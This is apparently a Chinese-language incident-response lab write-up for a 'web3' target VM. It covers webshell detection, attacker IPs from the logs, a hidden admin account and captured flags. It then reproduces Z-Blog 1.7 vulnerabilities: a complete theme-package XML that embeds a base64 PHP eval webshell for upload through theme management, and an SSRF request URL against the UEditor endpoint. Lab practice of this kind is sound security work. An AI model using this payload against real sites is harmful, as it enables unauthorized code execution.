> 系列靶机web3，发现计划任务防守，z-blog1.7漏洞复现，文件上传+ssrf


---
## 1.
老规矩，d盾开扫，扫出来两个疑似
![图片.png](/static/img/ae7d99c5f401d35aad616add45aa1862.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)

没错了，两个一句话
![图片.png](/static/img/02879159f6cb5cac6f6b0f902a6870bf.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)
查看Apache日志，第一个攻击者ip为192.168.75.129
![图片.png](/static/img/462483aabd2bdbeec18e52e39e19aefe.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)

依旧查看远程登录日志
发现第二个ip
2024-03-12 11:42:30	hack6618$	WIN-4K8FN05NEAI	10	User32 	WIN-4K8FN05NEAI	C:\Windows\System32\svchost.exe	192.168.75.130	0	4624

![图片.png](/static/img/98d7d9ae42be8d0aecbed31c2455391e.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)

然后我们要开始找flag了

这里不知道为什么攻击没有扫到，还是得靠人工啊flag{zgsfsys@sec}
![图片.png](/static/img/4dc838b607b10f4492b7be62df0b45eb.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)

找到对应的bat文件flag{888666abc}
![图片.png](/static/img/589df49298c1b7b49f4d3c6302d3b8b5.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)
通过

net user hack6618$ zg@123456

登上去看看

![图片.png](/static/img/a5edfd3b7a210b10698970e1c84d509c.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)

这里我们放弃思考，直接开打web

是个z-blog，搜搜cve，不对不对，我现在是防守的，我应该看看我的账号密码
![图片.png](/static/img/5da99b98571261bffb7cbffedc54b1e3.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)

我这里就不折腾sql了，直接用官方工具
https://update.zblogcn.com/tools/nologin.zip

![图片.png](/static/img/6bc63acd5554c72a7aee035634d4ee93.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)

注意到版本是1.7，一会打
![图片.png](/static/img/587203f8002a98bcd1f6c85549d2d6d5.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)

发现flagflag{H@Ck@sec}
![图片.png](/static/img/f64ad9bff2cfc80d3d95ad3ca2d46da4.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)

## 2.
然后就是开打了

通过版本号，找到对应的poc


```xml

<?xml version="1.0" encoding="utf-8"?><app version="php" type="theme"><id>aymFreeFive</id><name>shell</name><url>https://xxx.xxx</url><note>shell</note><description>shell</description><path>settings/main.php</path><include>include.php</include><level>1</level><author><name>shell</name><email>iyuanma@qq.com</email><url>https://xxx.xxx/</url></author><source><name>shell</name><email>xxx@qq.com</email><url>https://xxx.xxx</url></source><adapted>1</adapted><version>1</version><pubdate>2024-12-05</pubdate><modified>2024-12-05</modified><price>0</price><phpver>5.5</phpver><advanced><dependency></dependency><rewritefunctions></rewritefunctions><existsfunctions></existsfunctions><conflict></conflict></advanced><sidebars><sidebar1></sidebar1><sidebar2></sidebar2><sidebar3></sidebar3><sidebar4></sidebar4><sidebar5></sidebar5><sidebar6></sidebar6><sidebar7></sidebar7><sidebar8></sidebar8><sidebar9></sidebar9></sidebars><folder><path>shell/scripts/</path></folder><folder><path>shell/settings/</path></folder><folder><path>shell/style/images/</path></folder><folder><path>shell/style/</path></folder><folder><path>shell/template/</path></folder><file><path>shell/template/shelll.php</path><stream>PD9waHAgQGV2YWwoJF9QT1NUWydwYXNzJ10pID8+</stream></file><verify>aHR0cDovL2xvY2FsaG9zdC9ia2IvCkM6L3hhbXBwL2h0ZG9jcy9ia2Iv</verify></app>

```

1.7.3及以下

通过主题管理上传zba文件
![图片.png](/static/img/33293c93ec88ada15b37fc8d193e11de.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)


![图片.png](/static/img/03f4cb7563e93cd43f61cd800ba7bed2.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)

连接成功
![图片.png](/static/img/1c1165266d874c32f8e3820f3d447033.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)

这里其实还存在一个ssrf漏洞,在管理员权限下的

没啥意思，可以getshell就不要用这个

Z-BlogPHP <= 1.7.2 | PHP 5.2 - 8.2
```url
http://192.168.40.149/zb_users/plugin/UEditor/php/controller.php?action=catchimage&source[1]=127.0.0.1:8080
```

![图片.png](/static/img/78223c51ce337a72992e278a928860dc.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)

![图片.png](/static/img/2f8013dabe17741dd6c16a9c705c6ae1.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)

应急响应_web3靶机

目录

1.

2.